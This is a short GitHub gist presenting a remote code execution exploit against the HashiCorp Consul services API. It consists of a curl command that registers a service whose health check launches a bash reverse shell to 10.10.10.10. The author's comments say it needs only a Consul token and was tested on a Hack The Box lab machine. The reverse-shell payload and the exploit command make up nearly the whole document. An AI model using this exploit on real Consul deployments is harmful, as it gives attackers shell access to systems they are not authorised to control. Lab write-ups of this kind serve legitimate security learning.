Skip to content

Instantly share code, notes, and snippets.

@A1vinSmith
Last active February 1, 2023 02:21
Show Gist options
  • Save A1vinSmith/b394bbafa7a7c726e7fe78ccdfc421c3 to your computer and use it in GitHub Desktop.
Save A1vinSmith/b394bbafa7a7c726e7fe78ccdfc421c3 to your computer and use it in GitHub Desktop.
Hashicorp Consul services API RCE & The simplest version of exploitation
curl --header "X-Consul-Token: XX-<SNIP>-XX" \
-X PUT \
-H "Content-Type: application/json" \
-d '{"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.10.10/80 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "alvinID01", "Name": "alvinName01", "Port": 80}' \
http://127.0.0.1:8500/v1/agent/service/register
@A1vinSmith
Copy link
Author

A1vinSmith commented Jan 23, 2023

@A1vinSmith
Copy link
Author

A1vinSmith commented Jan 23, 2023

The script needs one token X-Consul-Token only to make it work. Tested on HTB Ambassador machine.

Also, please let me know the CVE or HCSEC number that I can't find them from

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment